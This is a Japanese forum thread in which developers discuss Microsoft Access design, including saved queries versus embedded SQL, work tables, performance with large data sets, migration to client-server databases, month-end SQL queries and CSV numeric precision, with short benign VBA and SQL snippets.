作った本人が死ぬまで面倒見てくれるなら別に文句言うつもりもないんだけど
その本人が異動しただの辞めただのでこっちに回ってくるDBでクエリが山のようにあって
ソース見てるとアクションクエリ1→アクションクエリ2→アクションクエリ3を連続実行してるのは判っても
それぞれのクエリの中身がなんなのかはクエリをデザインビューで開くまで判らないから
VBAエディタ→クエリデザインビュー→VBAエディタ→クエリデザインビュー→VBA以下略って感じで
読みにくいったらありゃしないんだよw

作り置きも必要最低限ならいいけど、100個も200個もあったらさすがに萎える・・・

>>507
それ、オマエが只の我儘

>>504
それは素人と熟練者の違いであって、TとJetの違いでもなんでもねーだろ。w
あざとさに萎えた。

>>504
クエリをフォームのRecordSourceに使うには、どうしても、作り置きせずをえないから、
ゼロになることはありえないと思う。

>>510
つ せざるをえない

フォームもレポートも別にレコードソースはクエリ必須じゃないだろw

すべてadoでやればクエリは0にできるが、メンテナンス性は最悪。
クエリでやればメンテは楽になるが、へたすりゃJOINのためだけのクエリとか無駄に増える。

一番いいのは、自分自身のmdbに対してパススルー、せめて別mdb対してパススルーできれば
大分違うんだが、当然それも出来ない。

この辺がaccessの限界かねぇ。

自分に対してパススルーって、誰がそのSQLを解釈するの。

パススルーでjetのsql投げるとaccessが．．．みたいなｗ

イメージとしては、jetのsql文をまんま、保存できるクエリーがあればいいんだが。
クエリーはaccessが勝手に変更するし、jet100%準拠じゃないし。

かといってソースにsql文書くのもねぇ．．．
SQL＝SQL & " from t_test inner join dad on ......."
みたいなのが延々30行とかになると激しく萎えるしねぇ．．．

今日の仕事を明日の自分にパススルー

>>502
Accessで中途半端なオブジェクト指向なんかやって意味あんのか？

テーブル10個のDBはテーブル10個の仕様を理解してからでないと
正確・確実なメンテ作業には取り掛かれない。
テーブル100個のDBはテーブル100個の、
テーブル1000個のDBはテーブル1000個の以下同文。

無用のクエリを大量に、それも下手すれば総テーブル数の2倍も3倍もの数で生み出されると
それだけでシステムの仕様を理解するための手間がアフォみたいに増大する。

このレポートはクエリ1をソースにしてるようだがクエリ1の実体となるテーブルは…クエリ2か。
クエリ2の実体は…クエリ3とクエリ4のUNIONかよ。で、クエリ3の実体は…テーブル1ね。
あとクエリ4は…クエリ5っておい。　で、クエリ5は…

こんな作業やらされた日には「クエリでやればメンテは楽」なんて言葉は絶対出てこないぞw
みんな自分が作るばっかりで他のシステムの保守とかやらされないの？

>>518
無駄にクエリが増えると言う意味では、上でも言ったようにその意見に同意なんだが、
ソースのあっちこっちにsql文を埋め込んであるほうが、遥かにメンテナンスはつらいんだが。
しかも、長文のsql文になると、取得するためにわざわざ文字連結しなきゃいけなかったりｗ
あと、ソースでsql文生成する場合は、無意識に動的クエリになりがちだしｗ

つか、クエリのメンテナンスが楽じゃないなら、viewやストアドのメンテナンスもつらいって
話にならんのか？そしたら仕事にならんだろ。

>>518
クエリを元にクエリを作るのは、複雑になるしパーフォーマンスも悪くなるはず。
ワークテーブルをうまく使えば、もっと単純化できるし、主キー等の活用で動きもよくなる。

ワークテーブルは使いようだが、俺の場合、データ量が多いものを多用するとファイルサイズが
爆発的に増大するaccessの糞仕様の前にあえなく断念しました。
ま、実装方法がちゃちだっただけで、職人が実装すればちがったかもしれんが。

Accessはレコードロックを行レベルにすると、ファイルサイズが肥大化するらしいから
ページロックにしておいたほうがよい。

>>521
ワークファイルを別のMDBにしてリンクして使うと問題無いと思うけど？

>>523
あー、なる。
いっそ、つどつど新規mdbつくって、ワークテーブル生成、リンク貼って、使い終わったら
ファイルごと廃棄とかもありか。

まぁ、なんというか、あまり美しくはないけど、たしかに何の問題もなくなるｗ
ありがと、今度試してみる。

>>519
ビューについても無駄に増やすのは勘弁してくれって意見は変わらないよ。
あとストアドはストアドであってクエリやビューとは似て非なる、役割の違う存在だから
ここで引き合いに出されても困る。

>>520
もちろん、自分で1から作り直す時はそうするよ。

>>525
クエリはjetのとういか、accessの物的制限からどうしても無駄に増大するけど、
viewに関しては、完全に正規化できてるかできてないかだけの話でしょ。
増えるも増えないもないと思うんだが。

ビューとストアドは確かに役割は違うけど、メンテナンスの仕方は一緒でしょ。
でもって、クエリも一応はそういったものの代替なんだから、メンテナンス思考は一緒。

sqlを一まとまりで管理するか、プログラム側に埋め込むかは、メンテナンスに相当
差異があるとおもうんだがなぁ．．．

なんかこのスレ、１がクソとか言っているから単なるクソスレかと思ったら最近は結構良スレになっている。
たまに変なのもいるけど・・・・・

>>526
増えるも増えないもというか、やっぱり事情は同じで
ビュー1を元にしたビュー2を元にしたビュー3を元にしたビュー4を…
とかやられると「パズルやってんじゃねえんだぞ！」って言いたくならないか？

あとメンテナンスの手間に差異があるケースの具体例というのが自分だと想像つかない。
テーブルやフィールドの名称が頻繁に変わるならそりゃ1まとまりになってる方が都合は
いいのかもしれないけど、そこまで変テコなシステムの保守担当にはされたことがないんで…

過去の豊富な経験からその結論に至ってると思うので、経験の浅い自分に
できれば具体的な例で説明してもらえると嬉しい。

>>528
俺も経験が多いほうではないが、そもそも
>クエリ1を元にしたクエリ2を元にしたクエリ3を元にしたクエリ4を…
の状況はaccess（jet）だから起こるわけで、viewならばまとめてひとつか二つに出来るから、
>ビュー1を元にしたビュー2を元にしたビュー3を元にしたビュー4
の状況はおきにくいと思うんだが。最悪ストアド使えば解決。まぁ、賛否はあるだろうが。

で、メンテナンスの差異なんだけど、viewとプログラムなら分かりやすいと思うんだけど、
レコードセットとかの取得をviewやストアドで取得する場合と、プログラムでsql文まるまる発行して
取得する場合だと、後者のほうが俺は苦手だな、と。特に人が作ったものは。

更に、パラメータ仕様の場合に、ストアドならすぐに把握できるけど、プログラムでsql文発行してる
ときは一見動的なのかどうかも見分けずらいし、パラメータが何なのかも分かりづらかったりで、
あまりいいことがなかったような。

＞access（jet）だから起こるわけで、viewならば

なにか話が噛み合わないと思ったら、要するにAccess+jetの環境じゃなくて
バックエンドDBがSQLServerの場合しか前提にしてないからか。

わざわざそちらに話を合わせようとした自分も悪いんだけど、こちらはそのAccess+jetの環境で
クエリだらけになって困ったことがある、というのが話の出発点なわけで…
SQLServerの環境ではviewだらけの状況はおきにくい、といった点を論拠にされても
自分が考えを改めるに足る理由にはやっぱり至らないな。

遅くまでつき合わせてしまって申し訳ないけど…

本来は解決策があるはずなのに、文句言ったり諦める奴は修行が足らん。
というか、Access使ってる奴ってその程度が多いのは何故だ。

Accessは初心者向けツールという位置づけだからしかたない。

>>530
ちがう、ちがう。
「ｖｉｅｗ」と「ソースに埋め込み」のほうが分かりやすい例えかなと思っただけ。
クエリが弊害が多いのは上記にも書いたとおりだが、ソースの埋め込みよりはよくね？
ぐらいに解釈してくれよｗ

　適当なModuleに、
Public Const Query1 As String = "select * from table1 where column1=?"
みたいな感じでクエリ文字列を宣言してそれを各所で引っ張ってきてつかえばいいじゃない。
　いっそ
Public Command1 As New ADODB.Command
Command1.CommandText="select 〜"
Command1.Parameters.Append Command1.CreateParameter(〜)
Command1.Prepared=True
とかしてストアドっぽく使うとか。JET で Prepared が有効なのかどうかはわからないけど。

　ADODB.Command を使えば、Jetでもパラメタクエリのパラメタを ? にできるしね。
PARAMETERS 句を使わなくても Command.Parameters(i) を ? の登場順に当てはめてくれる。

>>534
それやってるけど、
SQL = SQL & "あんなwhere句やこんなJOIN"
SQL = SQL & "あんなwhere句やこんなJOIN"
SQL = SQL & "あんなwhere句やこんなJOIN"
見たいな行が延々30行とか続くからねぇ．．．

moduleにきれいにsql文書けるだけで、accessの存在価値は格段に上がるのになぁ。

だったら Access は不要だってことで
SQLサーバーで良いじゃんってことで

パラメーターとIIF、UNIONあたりでストアドっぽくってのは場合によっては有効だよね。
でもそういうクエリとADODB.Command前提の処理がわかりやすいかと言うと…。
いずれにしろ汎用的な多段クエリは避けるべきだと思うけど。

>>517
共通化したいなら出来るってだけでほとんど意味は無いだろうねw

>>537
共通化したい人にとっては、それが出来るなら意味あるんじゃない？w
OOP原理主義者や研究者が何を言おうが、現場はそれ使ってラクになるん
だったら何でも使うだけだから。

「OOP的に中途半端」なんて現場で言ったら、「同意するけど、だから何？」と
たぶんアホ扱いされるだけ。w

SQLテキストをレコードに保存すればいいんじゃね？

>>539
使い方しだいだろうけど、余計に処理を追いかけるのが難しくなると思うのだけど？

AccessのClass Mojule というのは、オブジェクト指向というよりも、
変数とプロシージャを一個の変数として管理するためのものと割り切って使うのが良い。
複雑なＳＱＬ文もClassの特性をうまく使えば、非常に簡潔な記述と管理が可能だ。

>>541
スマンが、最後の1行の意味が分からん。
SQLの話とWithEvents使ったクラスの話は別の流れじゃなかったのか？
できれば具体例ｷﾎﾞﾝﾇ

どうでもいいけど、モジュールは「j」じゃなく「d」ですよ、と。

要するに、Classを使って、SQL文を自動生成するような仕組みをつくればよい。

例えば、SQL文では

SELECT A FROM B WHERE C ORDER BY D

ABCDの4つの文字列とSELECT,FROM,WHERE,ORDER BY のKeyWordから成り立っている。
この場合、ABCDの四つの文字列変数を受け取り、KeyWordを組み合わせてSELECT文を生成することを考える。
実際のSELECT文はJOIN句 が複雑に絡んでくるため、受け取る変数がもっと多い。
また JOIN句が多くなると括弧の数がややこしくなり、手記述ではミスがおきやすい。
そのあたりをClassでうまく制御しながら、ミスのないSQL文を返すようなロジックを考えればよい。

通常のプロシージャでもできなくはないだろうが、複雑難解になるほどClassのありがたさがわかってくる。

なお、WithEventsというのは、FormのEventsをClass内で処理するためのもので、この場合は関係ない。

黙ってクエリ。クエリをクエリに使うのは避ける。レコードソースに使うクエリは、
フォームやレポート名と同じにする(先頭にQ_とかつけたりして区別)等の方針
で開発すれば、いくらかすっきりする。
Accessで凝ったことをやっても、他の人にとっては敷居が高くなるだけで・・・。

>>544
> なお、WithEventsというのは、FormのEventsをClass内で処理するためのもので、この場合は関係ない。

いやWithEventsはふだん使ってるから意味は知ってるんだけどね。
スレの流れがどこで合流したのかが分からなかったんだけれども。
別に合流してなかったということが分かったよ。

もっとも、>544 で言ってるのって、JetのSQLパーサを再実装する
ような感じじゃね？　サブクエリ非対応だと現場じゃ使い物にならない
けど、そこまで作りこむのって、けっこう大変そうに感じる。

あと正直な感想として、
strSQL = strSQL & "foo=" & foo & " And "
みたいなのを仮に
objSQL.Where.Add "foo=" & foo　　　' ←タダのイメージね
とか
objSQL.Where.Add "bar", bar, adInteger　　　' ←同じくイメージね
みたいに書けるようになったところで、そういう行をダラダラ羅列しなきゃ
いけないのはやっぱり同じなわけで、たぶんそれほど有りがたがられ
ない気がする。

いや、もちろん既にそういうのを自作して組み込んで使ってて、スゲー
便利で楽チンなのよこれが、っていう話があるんだったら謹んで拝聴
したいんだけど。

個人的にはクエリのデザインビューで、フィールド一覧（グリッドじゃない
上の方に出るヤツ）のタイトルバーをダブルクリックした時に、プロパティ
が出るんじゃなく元クエリのデザインビューの方に移ってくれれば、
それだけでストレスがだいぶ違う気がするよ。

良いインジェクションの的があると聞いて飛んできました。

>>547
漏れ的には「きますた」の方が好きだな。

難解なクエリーが理解できない俺様がきますた。

難解なクエリーなど組まなくてもワークテーブルを作ってやったほうが良くないかなあ？
そうすれば、簡単なクエリーの組み合わせで少々複雑なことだってできる。
それにそのワークテーブルにどんなデータが書き込まれているかを調べれば、デバックも簡単。

おれは必要なデータをまずワークテーブルに抽出してそれからいろいろと加工するようにしている。
インデックスをちゃんとしていれば、必要なデータがよほど多くない限り高速だし、
後の処理も限られたデータにたいして行うのだから、時間はかからない。

昔は余計なワークテーブルを作ると処理が遅いように思っていろいろやったけど、
結局ワークテーブルを作るほうが高速だった。
後、ワークテーブルはローカルに置くから思いのほか早いというメリットもあるように思う。

まあ、ワークテーブルを使ったのでは遅くてしょうがないということがあれば考えるけど、
今のところそんなのはないなあ？

あと、クエリをコーディングで作成することの大きなメリットは、VBAの検索・置換の対象になることである。

なにその変なクラスの使い方ｗ

クラス使うのはわかるけどさ、普通はSQL文なんて書かなくてすむように
RDBデータをクラス(というかオブジェクト)に変換してくれる
O/Rマッパー使うだけでしょ？

えっ？もしかしてAccessで使えるO/Rマッパーってないの？

使えないなAccess。

>>549
ワークテーブルのためのMDBを持っておくと便利。ついでに、処理に
必要なテーブルはあらかじめ作っておいて追加クエリで利用すると
型やサイズもばっちしだし、インデックスも気軽に利用できる。

>>550
クエリの中身＝SQLを全て出力したり、・検索したり、ってのを作って
持っておけば便利。

>>552
> クエリの中身＝SQLを全て出力したり、・検索したり、ってのを作って
> 持っておけば便利。

>>377
のクエリー版を作れってことね？

ワークテーブルを別ファイルに元のファイルを
リンクして使うってのはなかなかいいね。
場面は限られるけど良い収穫ですた。

しかしまぁAccessで結構盛り上がるもんだなw
そこまで真剣じゃない感じもなんか好きだw

Accessは壊れやすいとよく書かれているけど、Access2007はより安定してるでしょうか？
うちの小さい事務所にはPCは5台ほどあるのですが、皆WinXP、Office2003（Accessなし）です。
ここにAccessを単体で購入しようと思っているのですが、
Access2003にすべき（Office2003という環境ではその方が安定するのか）なのか、
Access2007を買った方（安定性、機能が向上しているのか）がいいのか迷ってます。

>>553
そうっすね。でも、Debug.Printよりはテキストファイルに出力した方が
いい。
応用で検索・置換もできるから、クエリを1つ1つ開かなくてもいいので
管理は楽になると思う。置換の際に、そのクエリで使用してるテーブ
ルで同じフィールド名称がないかに気を付けるぐらいかな。

>>554
オレの場合は、それを前提として共通関数類を準備した。データMDBも
リンクで使用。リンク先の自動更新もあるので楽ちん。

>>555
開発として使うなら2003。お気軽作成にとどめるなら2007。
と、個人的に思う。

mdbでやろうとするなら2003でも2007でも安定性に違いはないよ。
後は運用次第ってとこまで　限界までブラッシュアップされてるし。
2007の方がmdbが壊れにくいという美談は、まずないだろうな。

access95から使ってる身としては、2007もどうせ新規のバグの嵐だとすれば、
そのバグがMSはともかく技術者の間で周知の事実になるまでは到底使おうという気にならない。

オレ、1.1から使ってる。

>>556
使ってね

Sub TextQuery()
Dim Qdef As QueryDef
Open CurrentProject.Path & "\Query.txt" For Output As #1
For Each Qdef In CurrentDb.QueryDefs
If Not (Left(Qdef.Name, 4) = "MSys" Or InStr(Qdef.Name, "sq_") > 0) Then
Print #1,
Print #1, "■"; Qdef.Name
Print #1, Qdef.SQL
Debug.Print
Debug.Print "■"; Qdef.Name
Debug.Print Qdef.SQL
End If
Next
Close #1
Set Qdef = Nothing
End Sub

>>551
あったらこんな話してない、ということが今頃わかったのかw

>>562
きっと、おれはもっと高級な言語（？）を使っているんだぜと自慢したいのじゃないの？
まあ、道具なんて用途に合わせて使えればいいのよ。
道具自慢ばかりしているようじゃたいしたでぇくではないんだよ。
とっととお家に帰んなよ。このトウヘンボクが(w

>>563
ところでお前、女か？

なんだ？恋の予感か？

漏れの好みだな

>>566
ところでメール欄に？を入れるのはなんか意味があるのか？

>>566
ツンデレを期待しているのか、それともドＭなのか、教えてくれw

>>567
自分もここしばらく不思議に思ってた、それ。

>555
　VSTOを「開発者の人数分」買って Access Runtime の配布権を手に入れて、
開発者は Access200xを、利用者は Access Runtime を使うと安上がり。

　HTA+JET でフォームを作ればなんと無料。でも余程手馴れた人が居なければ
激しくオヌヌメしない。

ありがとうございます。
＞手馴れた人が
そんな人いませんって。（いれば苦労しない）
無難に2003を買っておこうと思います。（なんかちょっと悔しいけど）

現在accessで組んでる検証用システムがデータが増加して、
移行したいと思いますが、どのようなパターンがよいでしょうか？
個人的にはaccessが一番小回り利くので、好きだったのですが、
どうにも時間がかかるようになってしまって、
私が考えてるのはMYSQL+JAVAを考えてます。
結構劇的に早くなるものなのでしょうか？

>>570
上で、バグが周知されるまでは使わないって書いたの俺だけど、あの話は、あくまでも
客に納品するアプリとしてってことだからね。

自分の会社のシステムで、自分がメインで管理するシステムならさっさと2007にする。
最新機能も試せるし、バグの検証も出来るし一石二鳥ｗ

>>571
桐+JAVAにするといいよ

>>573
ありがとうございます。桐ですか、初めて聞きました。
調べてみます。
現在4000000（四百万)ほどのデータをaccessで抽出、検証してますが、
やはりデータベース構築し、javaとかでやったほうが、早いんでしょうか？
あまり変わらないようなら今までのままで行こうと思いますが

>>574
ネタだから真に受けないことｗ

質問が、よく荒れる質問だからまともな回答はないと思うけど、
なにを持って「劇的に早くなる」かはデータ構造と実装しだいだから、
データベースの器の違いはそうそうない。
sqlserverだろうとオラクルだろうとmysqlだろうとfirebirdだろうと、ポスグレだろうと。

きちんと正規化できて、フロントエンドとの通信に問題がなければ、
大抵のRDBMSに移行すればaccessよりも堅牢になることは間違いない。
多分、（なんらかの処理速度やバッチの実行速度は）それなりに早くなるかもしれないが、
すばらしく最適化された神accessだったら、さほど変わらないかもねｗ

とりあえず、移行が簡単なMSDEでも試してみるのは？

>>574
>>575
ありがとうございます。
access以外使ったことないので、どうにも感覚がつかめなくて、
VBAが結構重たいのではと思いまして、違う言語ではどうかと、
そうですね、試してみて、次第に移行していきます。
今のままではバックアップとかもきつくなってきたので

JavaにはJavaのメリットがあると思うけど、「早い」というのだけは
聞いたことがないぞ。w
もっとも、言語がボトルネックというのは考えにくいので、DBを
C/S型に移行するのがたぶん正解。

ただ大昔（Access95, SQLServer6.xあたりだったかな）にどっかで
読んだ話だと、SQL鯖が早いのは一般的にサーバー機のスペック
の方がクライアント機よりも高いからであって、同じ端末で動かしたら
堅牢製を捨ててトランザクションログとか取らない分、Jetの方が実は
早いらしい。
今はもう違うかもしれないけど。

要は何を言いたいのかというと、Accessを使ってたのと同じ端末の
ローカルでMSDEとか動かすつもりなら、ひょっとすると期待する
ほど早くなんないかもしれないな、と。
もちろんメチャ早くなるということも有りうるので、結果を教えて
もらえると嬉しい。

>>576
vbaが重いとか、javaが軽いとか、そういうことはない。
重い、軽いと言う表現が適用されるとすれば、
重いロジック、軽いロジック、とか
重い接続、軽い接続（ODBCとネイティブとか）とか、
重いコンパイル、軽いコンパイルとかでないかい？

>>561
オレは自分で作って持ってるからいらないよ。

昔どこかでAccess（ｊｅｔ)は1万件くらいからパフォーマンスが落ちると書いてあるのを読んで、
まあ、がんばっても２〜３万件くらいが限界かと思ったら、4000000件のデーター！！！
うーーーん、それでもなんとか動くんだ。恐ろしい。
データを別のMDBにするくらいはしていると思うけど、何MBくらいなんだろう？

>>576
バックアップがきついってどういうこと？
MySQLに変わってもバックアップしなくても良いってことにはならないと思うけど。

客観的に考えると、MSDEに移行してそれからMSSQL（Microsoft SQL Server)に移行して
Access+MSSQLで使うのが一番楽だろうと思う。まずはデータの堅牢性の確保が一番だと思う。
スピードの問題はサーバーのスペック、それからMSSQLのチューニング、ロジックの見直し、
インデックスの見直しなどで対応できるかな？

パフォーマンスが落ちるけど、400万件でも動くさ。サイズが制限内なら。
C/Sにして早くなるってのは、結局必要最小限のデータを取得だからでしょ。
極端な話、400万件をターゲットにレコードソース指定すると遅いはず。
気軽にC/Sに移行するなら、MSDEかSQL Sever+Access。リンクすればクエリで
Accessの関数使えるし。ただ、Accessで遅いと思わなかったクエリが激遅になる
可能性がある。今のシステムで、1レコード抽出・表示等の工夫をするのも1案。

>>581
リンクテーブルだとJETの仕様上、
大量データがネットワークに溢れることになるわけだが。

>>581
パススルーでええやろ。

>581
.adpでええやろ

>>580
遅い早いより、フリーズせずに開けるなら問題ない。
昔の大学図書館のデータベースなんか絞り込むのに一時間ぐらいかかったし、ワープロ専用機の付属のデータベースでも一時間ぐらいかかった。
最初にアクセス使った時、あまりの早さに驚いたもの。遅いと言うなら時間を書いてくれ。

だから、抽象的な遅い速いの話は意味がないどころが荒れるとあれほど．．ｗ

さあ、盛り上がってまいりました！

>>585
いったいいつの話を・・・・・・・
そのうち穿孔テープとかカードパンチとかの話がでてきそう(w

まあ、人間贅沢にはすぐ慣れる。
いまじゃあ、複雑な集計に５分かかっただけで遅い遅いと言われる。
５分も待てないほど忙しい人には見えない人に限ってそうだ。

>>データを別のMDBにするくらいはしていると思うけど、何MBくらいなんだろう？
はい、一応データと処理のmdbは別にしています。容量は1G達してます。

>>バックアップがきついってどういうこと？
>>MySQLに変わってもバックアップしなくても良いってことにはならないと思うけど。
access結構壊れやすいので、こまめにバックアップ必要なのと、単にmdbをコピー
してバックアップとしているので、時間が掛かっています。
確かに移行してもバックアップは必要ですね、それらのスケジュールも考えなくては

アドバイスによると、言語によるパフォーマンスの違いは余りなさそうなので、
一応データベース構築したら、違う言語でもテストもしてみますが、
msde or mysql + accessでやってみることにします。

お好きなように解釈を。

・殆ど更新されないが参照が多い表をローカルにコピーして使う(事前にローカル記憶域にロードする)
・VBA で Recordset を開くときに何度も参照するものを Static で開く(事前にメモリにロードする)
・クエリなどで、SELECT句に登場しないが絞込みのためだけに FROM句に出てくる表は Exist で
　絞り込む(結合が少なくなる)
・インデックスを整理して、列名に ID とか 番号 と入っていると勝手にできる不要なインデックスを
　削除する(更新の高速化、容量の削減)
・逆に検索や連結の対象になっているのにインデックスが張られていない列にインデックスを張る
　(検索の高速化)
・TOP を使って検索結果の行数を限定する
などとするとどうだろう。

他には、
・更新の少ないテーブルと更新の多いテーブルみたいにさらに mdb を分割する
・蓄積型のテーブルをさらに年度別に分けて、必要に応じて UNION クエリでつなぐ
・さらにそれぞれの mdb を物理的に別のディスクやサーバに分ける
とかしてみたり。リンクテーブルマネージャが若干使いづらくなるけど。

TOP + ORDER BYは結局フルスキャンになって高速化にはならなくない？
無条件に上位レコードが取得出来れば良いならいいとは思うけど。

漏れの鬼門
前提：カレンダーテーブルとデータテーブルがある（カレンダー1：データ多）
要件：各月の末日のデータを出力したい

データテーブルの量が多い場合結合してからサブクエリで絞り込むより
カレンダーから月末を返すクエリにデータテーブル結合した方が高速になってしまう。
別にカレンダーと月末に限った事では無いんだけど、こういう場合は素直に多重クエリにしておくべき？

>>592
これって、カレンダーテーブルを使って月末を求めているってこと？
DateAdd 関数使って1ヶ月足して1日引けばでてくると思うのだけど、
それじゃだめなのか？

Where Day(DateAdd("d", +1, [データテーブルの日付]))=1
だけで、カレンダーテーブルにはJOINする必要ないよね。

>592
　Access じゃ結果セットを作るための表や索引の転送も回線を流れるから確かに TOP の
限定は意味ないか。しかし、サブクエリを TOP で限定するようにすれば少しはマシになるかも
しれないとｵﾓﾀ。

　dateserial(2007, 6, 0) でも 5/31 を返せるお。

おぉ、すげぃよみんな、ありがとう。関数見直してみます。
が、書いてから気づいた。必ず月末じゃなくて非インクリメントなカレンダーの各月の最終日だった。

一応現状を書いておきますね。
TBL_CALENDAR
KEY　DATEVALUE (DATEVALUEの間隔はランダム)
----------------
1　　　2007/1/1
2　　　2007/1/2
3　　　2007/1/4
.....

TBL_DATA
KEY　DATAVALUE
1　　　aaa
1　　　bbb
2　　　ccc
.....

こんなテーブル構造だとして、TBL_CALENDAR.DATEVALUEが
各月の最終日の場合そのKEYに対応するTBL_DATA.DATAVALUEを求めたいのだけど。

手法1.
SELECT DAT.DATAVALUE
FROM TBL_CALENDAR CAL INNER JOIN TBL_DATA DAT ON CAL.KEY = DAT.KEY
WHERE CAL.DATEVALUE = ANY (SELECT Max(CAL.DATEVALUE) FROM TBL_CALENDAR CAL GROUP BY Month(CAL.DATEVALUE));

手法2.
クエリ1(を作る)
SELECT Max(TBL_CALENDAR.DATEVALUE) AS DATEVALUE FROM TBL_CALENDAR GROUP BY Month(TBL_CALENDAR.DATEVALUE);

SELECT TBL_DATA.DATAVALUE
FROM クエリ1 INNER JOIN (TBL_CALENDAR INNER JOIN TBL_DATA ON TBL_CALENDAR.KEY = TBL_DATA.KEY) ON クエリ1.DATEVALUE = TBL_CALENDAR.DATEVALUE;

この2パターンでは手法2.の方が速度で勝ってるのが現状です。
手法1.が非効率なのはぱっと見でもわかるんだけど、手法2.以上の方法が思いつかんのです。
もっとスマートな方法ありそうなんだけど理系思考出来ないアフォなので詰まってます。
多重クエリが美しくないだけで実用上は手法2.でも問題は無いのですけど。

　Any とか In 、Exists は使い方を誤ると尋常じゃなく遅くなる(まるで左辺
一行ごとに右辺の表を全走査しているのではないかと思うほどに!!)ので注意ですよ。
　CPU使用率やネットワーク使用率、 I/O 転送量を見て、I/OネックかCPUネックなのかをよく確認
してみよぅ。

　で、こんなのはどうだろう? TBL_DATA に
(3, 'ddd'), (3, 'eee') という値を追加したものに実行すると
ddd
eee
が返ってくる。

select d.DATAVALUE
from (select c2.KEY
______from (select max(DATEVALUE) as maxDATEVALUE
____________from TBL_CALENDAR) c1 inner join
______TBL_CALENDAR c2 on c1.maxDATEVALUE=c2.DATEVALUE) c inner join
TBL_DATA d on c.KEY=d.KEY

アンダースコアの羅列は半角スペースと置換してちょうだい。
　時に GROUP BY Month(TBL_CALENDAR.DATEVALUE)
って指定する意味あった?全月の最終年の最終日をというということなのかな。
それだったら4行目を
____________from TBL_CALENDAR group by month(DATEVALUE)) c1 inner join
にすればいけるかも?

>>592
うっはぁ、こんなの待ってました。

select d.DATAVALUE
from (select c2.KEY
__from (select max(DATEVALUE) as maxDATEVALUE
____from TBL_CALENDAR GROUP By Month(DATEVALUE)) c1 inner join
__TBL_CALENDAR c2 on c1.maxDATEVALUE=c2.DATEVALUE) c inner join
TBL_DATA d on c.KEY=d.KEY

でOKです。
GROUP BY Month(TBL_CALENDAR.DATEVALUE) は「各月の」を満たす為でした。

FROMにサブクエリってのはそういう意味でしたか。いやぁ奥が深い。
使える事は知ってましたがどう使うのか理解してませんでした。
いろいろと適用させてもらいますね。ありがとうございました。

アクセスで悩み苦しんでいます。アドバイスをお願いします。

別ソフトのデータを取り込んでアクセスで構築しようとしているのですが、
CSVでテーブルに読み込んだとき、数値型で小数点のある単価が正しく読み込めません。
0.7 を　0.699999988079などとなってしまい計算に誤差がでてしまいます。
文字型にすればよいのですが、ファイルサイズが肥大化してしまい、できれば単精度数値型で処理したいのですが・・
アクセスの仕様としてあきらめざるをえないのでしょうか？

通貨型ってないの？

>>600
だよなあ？
普通単価は通貨型で処理するよな？
単精度数値型でやれば結局2進数で処理されるから誤差はでる。
通貨型なら基本的に１０進数処理だからでないはず。

変に変換されてもなんだから、いっそ、全部文字列で取り込んで、
あとでゆっくり処理するようにしてる。

通貨型、ある。

>>602
感心した。デバッグ楽そうだし、今度からそうする。

Accessは信用ならないから、
数値は文字列で処理すべき。

適切なデータ型も分からない開発者は信用ならないから、
桐にしとけ。

んだ、桐にしとけば良いよ
そういう開発者にも親切だから

http://www.kthree.co.jp/2seihin/1kiri9/7kiri9_siyo/spec1.html#datatype
実数型の演算は、常に誤差が生じる可能性があるため、お金などの数値を扱うデータ型としては適しません。
日常、扱う数値を格納する項目は、数値型または通貨型を使用してください。

紙とえんぴつでおｋ

>>607
まあ、確かに桐にしとけば生じない問題だったりするけど、
桐にしか通用しないやり方が身につくという問題もあるわな。
これに関してはAccessが悪いわけじゃなくて、
普通だってだけだからなあ。

csvの取り込みなんて、どうしてもデータの信頼性そのものが不安定だから、
accessだろうが桐だろうが、SqlserverのDTSだろうが実装側で工夫しないと、
いずれエラーがでたり、変換ミスがでると思うんだが。

>>610
そういえば、桐でCSVだったかK3ファイルだったか忘れたけど、
取り込んだらおかしくなって、よく調べたら区切り文字の","をデータに持っていたのが原因だった。
しかたないので、","を別の文字に変えてからやったことがある。

ＣＳＶで ","をデータに持ってたらおかしくなるのは当然だよ〜
Ｋ３ファイルならテキスト項目は""で囲うから、そういう問題は生じない

データに「,」があるのはあたりまえ。
csv出力時に,を内包するテキスト項目を"で囲わないアプリがあるのが問題。

csv って、そんなもんでしょ

今からAccessを勉強しようと思うんだけど
いいサイトとか書籍とかありますか？
教えてください。

通貨型を使うとテーブルのCSVへのEXPORT機能が実質的に使えなくなる。（小数点が省かれてしまう等）
なんとかならんか・・

だから桐にしとけって

>>616
TSVじゃ駄目なのか。

>616
vbNullChar で区切るんだ。

コーディングで対応するしかないっしょ。

桐だよ

>>615
http://www.mahoutsukaino.com/index.htm
ここなんか結構いいのじゃないかと思う。
このなかの
http://www.mahoutsukaino.com/ac/intro.htm
これは入門者が一度読むことをお薦めします。

VBAから入るのが正統派ですYO

事務とかだったら、いきなりvbaじゃ分け分からないまま、習得できずに終わるだろうが。

ファイルメーカーさいこー

ここはAccessと桐とファイルメーカを比べるスレではないのだが？
比較でAccessの特徴を際立たせるためというのならいいのだが？

>>623　はさすがにネタだろう？
テーブルもフォームもレポートもクエリーもわからんでどうやって
プログラム組むんだ？

>>622
ありがとうございます。
早速これを使って勉強しようと思います。

あぼーん

さっきから桐桐言っているヤツいい加減に や め れ。見苦しい｡巣に帰れ｡

>>626

623ではないが、谷尻のACCESS VBA応用プログラミングで
Access勉強した。
前任者が残していったmdbの修正がほとんどだったけどね。

>>626
テーブルやクエリやフォームはざっと把握すればよい。
できるだけ早めにVBAに慣れろ。

クエリやマクロを組むことと、オブジェクトを意識しながら、
更でソースを書き込んでいくのでは、長くて深い川が隔たってるんだが。

出来る奴は、出来ない奴のことがさっぱり理解できないのは分かるが、
もう少し想像力を働かせろ。

>>632

でも、Accessはそういうもん（VBAでプログラミング)だと思っていれば、
それほど苦にならないんじゃないか。
どのみち、いずれはVBA必須の作業とか出てくるんだし。
俺がPC初めて買ったときは、ソフトは買うものじゃなくて
作るまたは本見て打ち込むものだったからなぁ。
BASICの知識は必須だったよ。

AccessのVBAを始める前に、VBScriptを勉強することを強く薦める。
便利な統合環境よりも、EditorとCmdだけの環境で小さなプログラムを数多く作るのがよい。

このHPがだいぶ役に立った｡
ttp://www.accessclub.jp/index.html
ttp://www.tsware.jp/index.htm

趣旨は分かるんだけど、IDEが使えないというその障害は
初心者の大半を撃沈すると思うぞ。

今からAccess触る奴(特に触るのがいきなり2007な奴）ってマジ大変だな。
昔のNorthWind社はすげぇ小さい単純な会社だった。
今のサンプル解析する気になんねぇwww

Option Explicit さえ使えない環境から入門させるってのも酷な話だよな

　VBA から入れというなら、VB.NET でいいじゃない。
　Access の VBA やフォームはデータをユーザが使いやすいようにうまくハンドリング
